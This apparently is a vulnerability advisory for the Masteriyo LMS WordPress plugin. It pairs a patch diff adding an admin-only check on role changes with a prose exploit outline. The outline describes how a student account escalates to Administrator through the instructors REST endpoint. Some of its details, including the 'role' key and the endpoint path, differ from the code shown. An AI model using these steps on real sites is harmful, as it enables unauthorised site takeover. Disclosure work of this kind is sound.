$request['syntax_highlighting'] ) ) { - $instructor->set_syntax_highlighting( $request['syntax_highlighting'] ); - } - - // User's comment_shortcuts. - if ( isset( $request['comment_shortcuts'] ) ) { - $instructor->set_comment_shortcuts( $request['comment_shortcuts'] ); - } - - // User's use_ssl. - if ( isset( $request['use_ssl'] ) ) { - $instructor->set_use_ssl( $request['use_ssl'] ); - } - - // User's show_admin_bar_front. - if ( isset( $request['show_admin_bar_front'] ) ) { - $instructor->set_show_admin_bar_front( $request['show_admin_bar_front'] ); - } - - // User's locale. - if ( isset( $request['locale'] ) ) { - $instructor->set_locale( $request['locale'] ); - } - - // User's role. - if ( isset( $request['roles'] ) ) { - $instructor->set_roles( $request['roles'] ); - } - - // User's instructor_apply_status. - if ( isset( $request['instructor_apply_status'] ) ) { - $instructor->set_instructor_apply_status( $request['instructor_apply_status'] ); - } - - // User billing details. - if ( isset( $request['billing']['first_name'] ) ) { - $instructor->set_billing_first_name( $request['billing']['first_name'] ); - } - - if ( isset( $request['billing']['last_name'] ) ) { - $instructor->set_billing_last_name( $request['billing']['last_name'] ); - } - - if ( isset( $request['billing']['company'] ) ) { - $instructor->set_billing_company( $request['billing']['company'] ); - } - - if ( isset( $request['billing']['address_1'] ) ) { - $instructor->set_billing_address_1( $request['billing']['address_1'] ); - } - - if ( isset( $request['billing']['address_2'] ) ) { - $instructor->set_billing_address_2( $request['billing']['address_2'] ); - } - - if ( isset( $request['billing']['city'] ) ) { - $instructor->set_billing_city( $request['billing']['city'] ); - } - - if ( isset( $request['billing']['postcode'] ) ) { - $instructor->set_billing_postcode( $request['billing']['postcode'] ); - } - - if ( isset( $request['billing']['country'] ) ) { - $instructor->set_billing_country( $request['billing']['country'] ); - } - - if ( isset( $request['billing']['state'] ) ) { - $instructor->set_billing_state( $request['billing']['state'] ); - } - - if ( isset( $request['billing']['email'] ) ) { - $instructor->set_billing_email( $request['billing']['email'] ); - } - - if ( isset( $request['billing']['phone'] ) ) { - $instructor->set_billing_phone( $request['billing']['phone'] ); - } - - // Allow set meta_data. - if ( isset( $request['meta_data'] ) && is_array( $request['meta_data'] ) ) { - foreach ( $request['meta_data'] as $meta ) { - $instructor->update_meta_data( $meta['key'], $meta['value'], isset( $meta['id'] ) ? $meta['id'] : '' ); - } - } - - /** - * Filters an object before it is inserted via the REST API. - * - * The dynamic portion of the hook name, `$this->object_type`, - * refers to the object type slug. - * - * @since 1.0.0 - * - * @param Masteriyo\Database\Model $instructor Instructor object. - * @param WP_REST_Request $request Request object. - * @param bool $creating If is creating a new object. - */ - return apply_filters( "masteriyo_rest_pre_insert_{$this->object_type}_object", $instructor, $request, $creating ); - } -} +<?php +/** + * Instructor controller class. + * + * @since 1.3.0 + * + * @package Masteriyo\RestApi\Controllers\Version1; + */ + +namespace Masteriyo\RestApi\Controllers\Version1; + +defined( 'ABSPATH' ) || exit; + +use Masteriyo\Enums\UserStatus; +use Masteriyo\Helper\Permission; +use Masteriyo\RestApi\Controllers\Version1\UsersController; + +/** + * Instructor controller class. + */ +class InstructorsController extends UsersController { + /** + * Endpoint namespace. + * + * @var string + */ + protected $namespace = 'masteriyo/v1'; + + /** + * Route base. + * + * @var string + */ + protected $rest_base = 'users/instructors'; + + /** + * Post type. + * + * @var string + */ + protected $object_type = 'instructor'; + + /** + * If object is hierarchical. + * + * @var bool + */ + protected $hierarchical = false; + + /** + * Permission class. + * + * @since 1.3.0 + * + * @var Masteriyo\Helper\Permission; + */ + protected $permission = null; + + /** + * Constructor. + * + * @since 1.3.0 + * + * @param Permission $permission Permission instance. + */ + public function __construct( ?Permission $permission = null ) { + $this->permission = $permission; + } + + /** + * Get the query params for collections of attachments. + * + * @since 1.3.0 + * @deprecated 1.5.0 + * + * @return array + */ + public function get_collection_params() { + $params = parent::get_collection_params(); + + $params['approved'] = array( + 'description' => __( 'Whether the instructor is approved or not.', 'learning-management-system' ), + 'type' => 'boolean', + 'validate_callback' => 'rest_validate_request_arg', + ); + + /** + * Filters instructors collection query params. + * + * @since 1.3.0 + * + * @param array $params The collection query params. + */ + return apply_filters( 'masteriyo_instructor_collection_params', $params ); + } + + /** + * Get the User's schema, conforming to JSON Schema. + * + * @since 1.3.0 + * @deprecated 1.5.0 + * + * @return array + */ + public function get_item_schema() { + $schema = parent::get_item_schema(); + + unset( $schema['properties']['roles'] ); + + $schema['properties'] = array_merge( + $schema['properties'], + array( + 'approved' => array( + 'description' => __( 'Instructor approved.', 'learning-management-system' ), + 'type' => 'boolean', + 'context' => array( 'view', 'edit' ), + ), + ) + ); + + return $schema; + } + + /** + * Prepare objects query. + * + * @param WP_REST_Request $request Full details about the request. + * + * @since 1.3.0 + * @deprecated 1.5.0 + * + * @return array + */ + protected function prepare_objects_query( $request ) { + $args = parent::prepare_objects_query( $request ); + $args['role'] = array( 'masteriyo_instructor' ); + + if ( isset( $request['approved'] ) ) { + if ( true === $request['approved'] ) { + $args['user_status'] = UserStatus::ACTIVE; + } else { + $args['user_status'] = UserStatus::INACTIVE; + } + } + + return $args; + } + + /** + * Get object. + * + * @since 1.3.0 + * + * @param int|WP_user|Model $object Object ID or WP_user or Model. + * + * @return object Model object or WP_Error object. + */ + protected function get_object( $object ) { + try { + if ( is_int( $object ) ) { + $id = $object; + } else { + $id = is_a( $object, '\WP_User' ) ? $object->ID : $object->get_id(); + } + $instructor = masteriyo( 'instructor' ); + $instructor->set_id( $id ); + $instructor_repo = masteriyo( 'user.store' ); + $instructor_repo->read( $instructor ); + } catch ( \Exception $e ) { + return false; + } + + return $instructor; + } + + /** + * Get instructor data. + * + * @since 1.3.0 + * + * @param Instructor $instructor instructor instance. + * @param string $context Request context. + * Options: 'view' and 'edit'. + * + * @return array + */ + protected function get_user_data( $instructor, $context = 'view' ) { + + $data = parent::get_user_data( $instructor, $context ); + + return $data; + } + + + /** + * Check if a given request has access to update an item. + * + * @since x.x.x + * + * @param WP_REST_Request $request Full details about the request. + * @return WP_Error|boolean + */ + public function update_item_permissions_check( $request ) { + $result = parent::update_item_permissions_check( $request ); + + if ( is_wp_error( $result ) ) { + return $result; + } + + if ( isset( $request['roles'] ) && ! current_user_can( 'manage_options' ) ) { + return new \WP_Error( + 'masteriyo_rest_cannot_update', + __( 'Sorry, you are not allowed to change roles.', 'learning-management-system' ), + array( 'status' => rest_authorization_required_code() ) + ); + } + + return true; + } + + /** + * Prepare a single user object for create or update. + * + * @since 1.3.0 + * + * @param WP_REST_Request $request Request object. + * @param bool $creating If is creating a new object. + * + * @return WP_Error|Masteriyo\Database\Model + */ + protected function prepare_object_for_database( $request, $creating = false ) { + $id = isset( $request['id'] ) ? absint( $request['id'] ) : 0; + $instructor = masteriyo( 'instructor' ); + + if ( 0 !== $id ) { + $instructor->set_id( $id ); + $instructor_repo = masteriyo( 'user.store' ); + $instructor_repo->read( $instructor ); + } + + // User's username. + if ( isset( $request['username'] ) ) { + $instructor->set_username( $request['username'] ); + } + + // User's password. + if ( isset( $request['password'] ) ) { + $instructor->set_password( $request['password'] ); + } + + // User's nicename. + if ( isset( $request['nicename'] ) ) { + $instructor->set_nicename( $request['nicename'] ); + } + + // User's email. + if ( isset( $request['email'] ) ) { + $instructor->set_email( $request['email'] ); + } + + // User's url. + if ( isset( $request['url'] ) ) { + $instructor->set_url( $request['url'] ); + } + + // User's activation_key. + if ( isset( $request['activation_key'] ) ) { + $instructor->set_activation_key( $request['activation_key'] ); + } + + // User's status. + if ( isset( $request['status'] ) ) { + $instructor->set_status( $request['status'] ); + } + + // User's display_name. + if ( isset( $request['display_name'] ) ) { + $instructor->set_display_name( $request['display_name'] ); + } + + // User's nickname. + if ( isset( $request['nickname'] ) ) { + $instructor->set_nickname( $request['nickname'] ); + } + + // User's first_name. + if ( isset( $request['first_name'] ) ) { + $instructor->set_first_name( $request['first_name'] ); + } + + // User's last_name. + if ( isset( $request['last_name'] ) ) { + $instructor->set_last_name( $request['last_name'] ); + } + + // User's description. + if ( isset( $request['description'] ) ) { + $instructor->set_description( $request['description'] ); + } + + // User's rich_editing. + if ( isset( $request['rich_editing'] ) ) { + $instructor->set_rich_editing( $request['rich_editing'] ); + } + + // User's syntax_highlighting. + if ( isset( $request['syntax_highlighting'] ) ) { + $instructor->set_syntax_highlighting( $request['syntax_highlighting'] ); + } + + // User's comment_shortcuts. + if ( isset( $request['comment_shortcuts'] ) ) { + $instructor->set_comment_shortcuts( $request['comment_shortcuts'] ); + } + + // User's use_ssl. + if ( isset( $request['use_ssl'] ) ) { + $instructor->set_use_ssl( $request['use_ssl'] ); + } + + // User's show_admin_bar_front. + if ( isset( $request['show_admin_bar_front'] ) ) { + $instructor->set_show_admin_bar_front( $request['show_admin_bar_front'] ); + } + + // User's locale. + if ( isset( $request['locale'] ) ) { + $instructor->set_locale( $request['locale'] ); + } + + // User's role. + if ( isset( $request['roles'] ) && current_user_can( 'manage_options' ) ) { + $instructor->set_roles( $request['roles'] ); + } + + + // User's instructor_apply_status. + if ( isset( $request['instructor_apply_status'] ) ) { + $instructor->set_instructor_apply_status( $request['instructor_apply_status'] ); + } + + // User billing details. + if ( isset( $request['billing']['first_name'] ) ) { + $instructor->set_billing_first_name( $request['billing']['first_name'] ); + } + + if ( isset( $request['billing']['last_name'] ) ) { + $instructor->set_billing_last_name( $request['billing']['last_name'] ); + } + + if ( isset( $request['billing']['company'] ) ) { + $instructor->set_billing_company( $request['billing']['company'] ); + } + + if ( isset( $request['billing']['address_1'] ) ) { + $instructor->set_billing_address_1( $request['billing']['address_1'] ); + } + + if ( isset( $request['billing']['address_2'] ) ) { + $instructor->set_billing_address_2( $request['billing']['address_2'] ); + } + + if ( isset( $request['billing']['city'] ) ) { + $instructor->set_billing_city( $request['billing']['city'] ); + } + + if ( isset( $request['billing']['postcode'] ) ) { + $instructor->set_billing_postcode( $request['billing']['postcode'] ); + } + + if ( isset( $request['billing']['country'] ) ) { + $instructor->set_billing_country( $request['billing']['country'] ); + } + + if ( isset( $request['billing']['state'] ) ) { + $instructor->set_billing_state( $request['billing']['state'] ); + } + + if ( isset( $request['billing']['email'] ) ) { + $instructor->set_billing_email( $request['billing']['email'] ); + } + + if ( isset( $request['billing']['phone'] ) ) { + $instructor->set_billing_phone( $request['billing']['phone'] ); + } + + // Allow set meta_data. + if ( isset( $request['meta_data'] ) && is_array( $request['meta_data'] ) ) { + foreach ( $request['meta_data'] as $meta ) { + $instructor->update_meta_data( $meta['key'], $meta['value'], isset( $meta['id'] ) ? $meta['id'] : '' ); + } + } + + /** + * Filters an object before it is inserted via the REST API. + * + * The dynamic portion of the hook name, `$this->object_type`, + * refers to the object type slug. + * + * @since 1.0.0 + * + * @param Masteriyo\Database\Model $instructor Instructor object. + * @param WP_REST_Request $request Request object. + * @param bool $creating If is creating a new object. + */ + return apply_filters( "masteriyo_rest_pre_insert_{$this->object_type}_object", $instructor, $request, $creating ); + } +} @@ -1770,6 +1770,14 @@ ); } + if ( isset( $request['roles'] ) && ! current_user_can( 'manage_options' ) ) { + return new \WP_Error( + 'masteriyo_rest_cannot_update', + __( 'Sorry, you are not allowed to change roles.', 'learning-management-system' ), + array( 'status' => rest_authorization_required_code() ) + ); + } + return true; } @@ -5,7 +5,7 @@ * Description: A Complete WordPress LMS plugin to create and sell online courses in no time. * Author: Masteriyo * Author URI: https://masteriyo.com - * Version: 2.1.6 + * Version: 2.1.7 * Requires at least: 6.5 * Requires PHP: 7.4 * Text Domain: learning-management-system @@ -46,7 +46,7 @@ } if ( ! defined( 'MASTERIYO_VERSION' ) ) { - define( 'MASTERIYO_VERSION', '2.1.6' ); + define( 'MASTERIYO_VERSION', '2.1.7' ); } if ( ! defined( 'MASTERIYO_PLUGIN_FILE' ) ) { @@ -4,7 +4,7 @@ Requires at least: 6.5 Tested up to: 6.9 Requires PHP: 7.4 -Stable tag: 2.1.6 +Stable tag: 2.1.7 License: GNU General Public License v3.0 License URI: http://www.gnu.org/licenses/gpl-3.0.html @@ -285,6 +285,16 @@ You can report security bugs through the Patchstack Vulnerability Disclosure Program. The Patchstack team help validate, triage and handle any security vulnerabilities. [Report a security vulnerability.](https://patchstack.com/database/vdp/learning-management-system) == Changelog == += 2.1.7 - 25-03-2026 = +- Enhancement - Improve webhook delivery reliability, expand lesson completion tracking coverage, and add observability. +- Enhancement - Extend Two-Factor Authentication OTP support to WordPress admin login popup. [PRO] +- Enhancement - Add PDF download enable/disable toggle option for PDF lessons. [PRO] +- Fix - Enhance security. +- Fix - Fix log file download and incorrect filename issues in the logs tool. +- Fix - Make the course name a clickable link on the account page. +- Fix - Exclude deleted users from course analytics student count. [PRO] +- Fix - Prevent duplicate contact errors in HubSpot integration during user registration. [PRO] + = 2.1.6 - 11-03-2026 = - Fix - Security issue related to Stripe addon. - Fix - Course archive page default layout Elementor template not importing. @@ -20,7 +20,7 @@ defined( 'WP_UNINSTALL_PLUGIN' ) || exit; defined( 'MASTERIYO_SLUG' ) || define( 'MASTERIYO_SLUG', 'learning-management-system' ); -defined( 'MASTERIYO_VERSION' ) || define( 'MASTERIYO_VERSION', '2.1.6' ); +defined( 'MASTERIYO_VERSION' ) || define( 'MASTERIYO_VERSION', '2.1.7' ); defined( 'MASTERIYO_PLUGIN_FILE' ) || define( 'MASTERIYO_PLUGIN_FILE', __FILE__ ); defined( 'MASTERIYO_PLUGIN_BASENAME' ) || define( 'MASTERIYO_PLUGIN_BASENAME', plugin_basename( MASTERIYO_PLUGIN_FILE ) ); defined( 'MASTERIYO_PLUGIN_DIR' ) || define( 'MASTERIYO_PLUGIN_DIR', dirname( MASTERIYO_PLUGIN_FILE ) ); @@ -665,6 +665,7 @@ 'Masteriyo\\Listeners\\Webhook\\NewCourseReviewListener' => $baseDir . '/includes/Listeners/Webhook/NewCourseReviewListener.php', 'Masteriyo\\Listeners\\Webhook\\NewEnrollmentListener' => $baseDir . '/includes/Listeners/Webhook/NewEnrollmentListener.php', 'Masteriyo\\Listeners\\Webhook\\NewInstructorRegistrationListener' => $baseDir . '/includes/Listeners/Webhook/NewInstructorRegistrationListener.php', + 'Masteriyo\\Listeners\\Webhook\\NewOrderListener' => $baseDir . '/includes/Listeners/Webhook/NewOrderListener.php', 'Masteriyo\\Listeners\\Webhook\\NewStudentRegistrationListener' => $baseDir . '/includes/Listeners/Webhook/NewStudentRegistrationListener.php', 'Masteriyo\\Listeners\\Webhook\\QuizAttemptStatusChangeListener' => $baseDir . '/includes/Listeners/Webhook/QuizAttemptStatusChangeListener.php', 'Masteriyo\\Listeners\\Webhook\\QuizCompletedListener' => $baseDir . '/includes/Listeners/Webhook/QuizCompletedListener.php', @@ -1032,6 +1032,7 @@ 'Masteriyo\\Listeners\\Webhook\\NewCourseReviewListener' => __DIR__ . '/../..' . '/includes/Listeners/Webhook/NewCourseReviewListener.php', 'Masteriyo\\Listeners\\Webhook\\NewEnrollmentListener' => __DIR__ . '/../..' . '/includes/Listeners/Webhook/NewEnrollmentListener.php', 'Masteriyo\\Listeners\\Webhook\\NewInstructorRegistrationListener' => __DIR__ . '/../..' . '/includes/Listeners/Webhook/NewInstructorRegistrationListener.php', + 'Masteriyo\\Listeners\\Webhook\\NewOrderListener' => __DIR__ . '/../..' . '/includes/Listeners/Webhook/NewOrderListener.php', 'Masteriyo\\Listeners\\Webhook\\NewStudentRegistrationListener' => __DIR__ . '/../..' . '/includes/Listeners/Webhook/NewStudentRegistrationListener.php', 'Masteriyo\\Listeners\\Webhook\\QuizAttemptStatusChangeListener' => __DIR__ . '/../..' . '/includes/Listeners/Webhook/QuizAttemptStatusChangeListener.php', 'Masteriyo\\Listeners\\Webhook\\QuizCompletedListener' => __DIR__ . '/../..' . '/includes/Listeners/Webhook/QuizCompletedListener.php', @@ -1,8 +1,8 @@ <?php return array( 'root' => array( 'name' => 'masteriyo/masteriyo', - 'pretty_version' => '2.1.6', - 'version' => '2.1.6.0', + 'pretty_version' => '2.1.7', + 'version' => '2.1.7.0', 'reference' => null, 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', @@ -110,8 +110,8 @@ 'dev_requirement' => false, ), 'masteriyo/masteriyo' => array( - 'pretty_version' => '2.1.6', - 'version' => '2.1.6.0', + 'pretty_version' => '2.1.7', + 'version' => '2.1.7.0', 'reference' => null, 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../',
Exploit Outline
1. Authenticate as a user with Student-level permissions. 2. Extract the REST API nonce from the 'window._MASTERIYO_.rest_nonce' or 'window._MASTERIYO_.nonce' global variable found on the Masteriyo Account page (rendered via shortcode). 3. Determine the attacker's own User ID. 4. Send a POST or PUT request to the REST endpoint '/wp-json/masteriyo/v1/instructors/<USER_ID>' using the extracted nonce in the 'X-WP-Nonce' header. 5. Provide a JSON payload containing '{"role": "administrator"}'. 6. The server-side controller prepares the update object including the role change without checking administrative capabilities, resulting in the user's role being escalated to Administrator.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.